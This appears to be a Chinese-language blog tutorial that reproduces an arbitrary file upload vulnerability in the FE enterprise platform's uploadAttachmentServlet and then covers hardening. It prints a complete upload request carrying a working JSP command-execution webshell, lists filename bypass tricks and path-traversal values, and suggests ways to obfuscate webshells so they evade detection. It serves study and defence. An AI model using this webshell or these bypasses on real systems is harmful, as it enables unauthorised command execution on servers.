Java Web文件上传漏洞剖析:从Servlet原理到企业级安全实战

📅 2026/6/25 21:21:59
Java Web文件上传漏洞剖析:从Servlet原理到企业级安全实战
1. 项目概述一次典型的企业级应用文件上传漏洞剖析最近在梳理一些企业级应用的历史安全问题时遇到了“飞企互联-FE企业运营管理平台”的一个老漏洞。这个漏洞的核心在于其uploadAttachmentServlet接口存在任意文件上传问题。对于从事安全研究、渗透测试或者企业运维的朋友来说这类漏洞的复现与分析极具代表性。它不仅仅是一个简单的“上传点未过滤”问题更折射出在传统Java Web应用特别是基于Servlet架构开发中对用户输入校验、路径处理和安全配置的常见疏忽。今天我就结合这个具体案例拆解一下这类漏洞的成因、利用手法以及在复现过程中需要注意的细节和可以延伸的思考。无论你是想了解漏洞原理的新手还是希望深化漏洞挖掘思路的同行相信都能从中获得一些实用的参考。2. 漏洞环境搭建与核心原理拆解2.1 目标系统与漏洞点定位飞企互联的FE平台是一个面向企业运营管理的综合性系统通常包含OA、流程审批等功能模块。uploadAttachmentServlet从其命名可以直观看出这是一个用于处理附件上传的Servlet。在Java Web应用中Servlet是处理HTTP请求的核心组件像doPost或doGet这样的方法会接收并处理客户端数据。漏洞的根源就在于这个Servlet在处理上传请求时没有对用户上传的文件进行有效的安全校验。通常一个安全的文件上传功能应该至少包含以下检查文件类型校验检查文件扩展名如.jpg,.pdf或MIME类型阻止可执行脚本如.jsp,.php的上传。文件内容校验通过文件头魔数等方式防止用户通过修改扩展名绕过类型检查。上传路径隔离将上传的文件存储到Web应用根目录之外或者至少是无法直接通过URL访问的目录。文件名重命名使用随机字符串如UUID重命名上传的文件避免路径遍历和文件覆盖攻击。而存在漏洞的uploadAttachmentServlet极大概率缺失了上述第1、3、4项关键检查特别是对文件扩展名的过滤导致攻击者可以直接上传一个包含恶意代码的JSP文件。2.2 实验环境快速部署要点为了复现漏洞我们需要一个可用的FE平台测试环境。由于涉及商业软件我们必须在完全隔离、合法的测试环境中进行例如本地虚拟机或授权测试的沙箱。环境准备清单操作系统Windows Server或Linux如CentOS 7根据官方文档推荐选择。Java运行环境JDK 1.8企业级应用常见版本。Web服务器Apache Tomcat 8.x 或 9.x。这是运行Servlet/JSP应用的标准容器。数据库MySQL 5.7。通常这类平台使用MySQL作为后端存储。FE平台安装包获取特定存在漏洞版本的安装程序或WAR包。部署核心步骤与避坑指南基础环境安装先安装JDK并配置JAVA_HOME环境变量再安装Tomcat和MySQL。确保Tomcat能正常启动访问8080端口出现猫猫页面。数据库初始化找到FE平台安装包中的数据库SQL脚本通常叫init.sql或fe_db.sql在MySQL中创建同名数据库并导入。应用部署如果提供WAR包直接将其复制到Tomcat的webapps目录下重启Tomcat即可自动解压部署。如果是安装程序按照向导安装通常需要指定JDK路径、Tomcat路径和数据库连接信息地址、库名、用户名、密码。关键配置检查数据库连接池检查WEB-INF/classes或类似路径下的配置文件如jdbc.properties确保数据库IP、端口、用户名密码正确。一个常见的坑是数据库版本不兼容导致连接失败确保驱动版本匹配。文件上传配置查看web.xml或相关Spring配置寻找关于文件上传大小限制max-file-size,max-request-size的配置。虽然这与漏洞无关但过小的限制可能影响我们上传Webshell。Tomcat权限确保Tomcat进程用户如tomcat对上传目录如果已知有写入权限。注意所有操作务必在授权环境进行。切勿在互联网上搜索或尝试攻击任何未经授权的真实系统这是违法行为。3. 漏洞利用链的详细构造与分析3.1 定位上传接口与请求分析环境启动后我们首先需要找到uploadAttachmentServlet的访问路径。有几种方法前端代码分析在浏览器中打开平台进入任何有附件上传功能如发文、流程附件的页面通过浏览器开发者工具F12的“网络”选项卡监控上传文件时发出的HTTP请求。请求的URL很可能就包含uploadAttachmentServlet。后端代码审计如果有源码在web.xml文件中搜索uploadAttachmentServlet的URL映射servlet-mapping。目录/路径猜测常见路径如/fe/uploadAttachmentServlet,/servlet/UploadAttachment,/platform/uploadFile等。找到路径后假设为/fe/uploadAttachmentServlet我们使用Burp Suite或Postman等工具拦截/构造请求。一个典型的多部分表单数据multipart/form-data上传请求结构如下POST /fe/uploadAttachmentServlet HTTP/1.1 Host: target.test.com:8080 User-Agent: Mozilla/5.0... Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 Content-Length: 12345 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefile; filenametest.jsp Content-Type: application/octet-stream % page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } % ------WebKitFormBoundaryABC123--请求关键字段解析Content-Type: multipart/form-data必须为此类型用于上传文件。boundary分隔符用于分隔请求体中的不同字段。namefile文件参数的名称需要根据实际前端代码确定可能是file、uploadFile、filedata等。filenametest.jsp这是攻击的关键。我们直接尝试上传JSP后缀的文件。Content-Type: application/octet-stream通常设置为二进制流有时服务器会检查此MIME类型但绕过方式很多。3.2 绕过技巧与路径获取实战如果直接上传.jsp文件被拦截我们需要尝试一些绕过技巧大小写绕过test.Jsp,test.JSP。双写/嵌套扩展名test.jsp.jpg如果后端只检查最后一个点之后的内容可能被绕过但需要配合解析漏洞。空格/点号绕过test.jsp.末尾加点test.jsp末尾加空格需要Burp修改十六进制为20。路径遍历结合在filename参数中尝试目录穿越如../../../test.jsp试图将文件上传到Web根目录如webapps/fe/下。如何确定上传成功后的文件路径这是利用漏洞的另一个关键。上传接口通常会返回一些JSON或XML格式的响应其中可能包含文件保存的路径、访问URL或新的文件名。分析响应包仔细查看上传成功后服务器的返回内容。可能包含url:/upload/20240527/abcdefg.jsp或path:D:/fe_upload/20240527/xxx.jsp这样的字段。默认路径猜测如果响应不包含路径可以尝试常见目录Web应用根目录下/upload/,/attached/,/files/../../webapps/fe/下的某个目录。通过上传一个正常图片然后在前端查看其属性获取图片的完整URL从而反推上传目录结构。一旦我们获得了Webshell即test.jsp的完整HTTP访问路径例如http://target.test.com:8080/fe/upload/20240527/xxx.jsp就可以通过浏览器访问并附加cmd参数执行系统命令例如?cmdwhoami。4. 漏洞深度挖掘与安全加固思考4.1 从Servlet层面看漏洞根源这个漏洞是Servlet时代文件上传漏洞的典型。很多早期的Java Web应用处理文件上传会使用Apache Commons FileUpload库或者自己解析multipart/form-data请求体。漏洞代码可能长这样// 伪代码示意危险操作 Part filePart request.getPart(file); String fileName filePart.getSubmittedFileName(); // 直接获取客户端提交的文件名 File uploadFile new File(/var/webapp/upload/ fileName); // 直接拼接路径 filePart.write(uploadFile.getAbsolutePath()); // 写入文件问题一目了然对fileName未做任何过滤攻击者可以传入../../../test.jsp。保存路径在Web目录下导致文件可被直接访问。没有对文件内容做二次检查。安全的Servlet文件上传应该怎么做使用随机文件名String savedFileName UUID.randomUUID().toString() getFileExtension(fileName);。其中getFileExtension是一个严格的白名单函数。白名单校验扩展名只允许jpg, png, pdf, doc, docx等业务必需的类型。存储路径隔离将文件保存在Web根目录之外如/opt/app_upload/并通过一个独立的文件下载Servlet如DownloadServlet来读取和提供文件流。这样即使上传了恶意文件也无法直接通过URL执行。内容安全检查对于图片可以使用ImageIO读取验证对于文档可以使用Apache POI等库尝试解析如果解析失败则可能是恶意文件。4.2 漏洞修复方案与运维建议对于企业运维和安全人员如果负责的系统存在此类隐患修复是当务之急。短期应急措施WAF规则在Web应用防火墙或网关层面添加规则拦截对uploadAttachmentServlet的请求中filename参数包含..、.jsp、.php等危险字符的请求。文件系统权限检查上传目录的权限确保其不在Tomcat的webapps目录下并且目录权限设置为不可执行脚本具体方法因Web服务器而异。删除Webshell立即排查上传目录清除所有非白名单格式的可执行脚本文件。长期根本修复代码层修复这是最根本的。修改uploadAttachmentServlet的源代码实现上述安全策略白名单、重命名、路径隔离。如果无法修改源码可以考虑使用Filter或AOP面向切面编程对上传请求进行全局拦截和校验。框架升级与安全组件引入对于老旧系统考虑在架构层面引入Spring框架如Spring MVC其MultipartFile接口配合配置化的解析器安全性更高。或者使用成熟的文件上传安全组件。定期安全扫描与代码审计将文件上传功能点作为每次安全扫描和代码审计的重点对象。使用SAST静态应用安全测试工具扫描代码使用DAST动态应用安全测试工具模拟攻击上传点。开发与运维协作建议安全需求前置在需求评审阶段安全团队就应介入明确文件上传等功能的安全规格。安全编码规范制定并推行包含文件上传安全章节的编码规范对开发人员进行培训。漏洞管理流程建立从漏洞发现、评估、修复到验证的闭环流程确保类似漏洞能被快速响应。5. 漏洞复现的常见问题与排查实录在复现过程中你可能会遇到各种问题。这里记录几个典型场景和解决思路。问题1上传请求返回“成功”但找不到上传的文件或访问404。排查思路检查响应内容确认服务器返回的是真正的成功消息如{“status”:”success”}而不是一个错误页或重定向。有时服务器会返回200状态码但内容是错误信息。检查文件保存路径登录服务器在Tomcat的工作目录work/Catalina/localhost/、Web应用目录webapps/fe/以及系统临时目录进行全局搜索查找最近修改的.jsp文件。命令如find / -name “*.jsp” -mmin -5 2/dev/null。检查磁盘空间与权限使用df -h查看磁盘是否已满。使用ls -la检查目标上传目录的权限Tomcat进程用户是否有写权限。检查应用日志查看Tomcat的catalina.out日志或应用自身的日志文件寻找上传处理相关的错误信息如FileNotFoundException,Permission denied等。问题2上传.jsp文件被拦截返回“文件类型不允许”。排查思路确认拦截点是在前端JS校验还是在后端拦截通过Burp Suite拦截请求后修改filename为test.jpg但文件内容仍是JSP代码然后放行。如果成功说明是前端校验如果失败说明是后端校验。尝试绕过如果是后端校验尝试上述绕过技巧。重点尝试test.jsp.末尾加点、test.j sp中间加空格、test.jsp%00.jpg空字节截断需注意HTTP版本和容器现代环境大多已修复。分析校验逻辑如果可能反编译或查看相关JAR包找到文件类型校验的类和方法分析其白名单或黑名单列表寻找漏网之鱼。问题3Webshell上传成功并可访问但执行命令无回显或报错。排查思路命令执行环境JSP Webshell执行命令依赖于服务器的系统环境。whoami、ipconfig/ifconfig是常用测试命令。无回显可能是命令执行失败或输出被重定向。尝试不同命令执行cmd /c echo hello(Windows) 或/bin/sh -c echo hello(Linux)看是否有基础输出。执行ping 127.0.0.1观察服务器是否有网络流量简单判断是否执行。权限问题Tomcat默认以非root权限运行。执行whoami查看当前用户可能权限较低无法执行某些命令如修改系统配置。Java安全策略服务器可能启用了Java Security Manager限制了Runtime.exec()的执行。此时需要更复杂的绕过技术或寻找其他漏洞点如反序列化。防火墙/安全软件服务器可能装有主机安全软件拦截了可疑的进程创建行为。问题4复现环境搭建失败应用无法启动。排查思路日志日志日志这是最重要的排错依据。仔细阅读Tomcat的catalina.out、localhost.log以及应用自身的日志文件。常见的错误有数据库连接失败、配置文件找不到、类冲突ClassNotFoundException/NoClassDefFoundError、端口占用等。版本兼容性严格对照官方文档检查JDK版本、Tomcat版本、数据库版本是否匹配。特别是MySQL驱动mysql-connector-java的版本。依赖缺失有些应用需要额外的JAR包需要手动放入WEB-INF/lib目录。数据库配置确保数据库已创建且连接字符串中的IP、端口、数据库名、用户名、密码完全正确。可以在服务器上用命令行工具如mysql -u root -p先测试连接。6. 从漏洞复现到安全研究的思维延伸复现一个已知漏洞只是起点。更重要的是通过这个点形成一套发现和评估同类问题的思维模式。1. 接口发现与资产测绘不仅仅是uploadAttachmentServlet。任何以Servlet、Action、Controller、Api结尾的路径以及/upload、/file、/import、/export等关键词的接口都应纳入文件上传漏洞的排查范围。可以使用爬虫工具如Awvs、Xray的爬虫功能或目录字典进行扫描。2. 漏洞利用的精细化上传Webshell执行命令是“粗暴”的证明方式。在实际渗透测试中需要考虑更隐蔽和持久的方式。例如上传一个包含SQL语句的JSP文件用于直接操作数据库。上传一个用于发起内网扫描或代理流量的JSP脚本。结合其他漏洞如文件上传文件包含实现更灵活的代码执行。3. 防御机制的绕过研究现代应用和WAF的防御在增强。研究如何绕过内容检测在Webshell代码中插入大量注释、无效代码、编码混淆以绕过基于特征码的检测。动态检测使用Java反射、自定义类加载器等技术构造无危险函数特征的Webshell。逻辑漏洞有时校验和保存文件不是同一个接口或同一时刻可能存在竞争条件、校验绕过等逻辑问题。4. 自动化工具辅助与手动验证结合可以使用Burp Suite的Intruder模块对filename参数进行Fuzz测试各种绕过payload。也可以编写简单的Python脚本自动化测试流程。但工具不能替代思考任何工具报告的“潜在漏洞”都必须经过严格的手工验证包括上传、访问、功能验证三步避免误报。这个“飞企互联FE平台uploadAttachmentServlet任意文件上传漏洞”的复现过程就像一次标准的外科手术清晰地解剖了一个典型的安全问题。它告诉我们安全是一个贯穿设计、开发、测试、部署、运维全生命周期的持续过程。对于开发者要在编码时绷紧安全这根弦对于运维和安全人员要具备发现和应对此类风险的能力。每一次成功的漏洞复现或防御加固都是对自身安全水位的一次有效提升。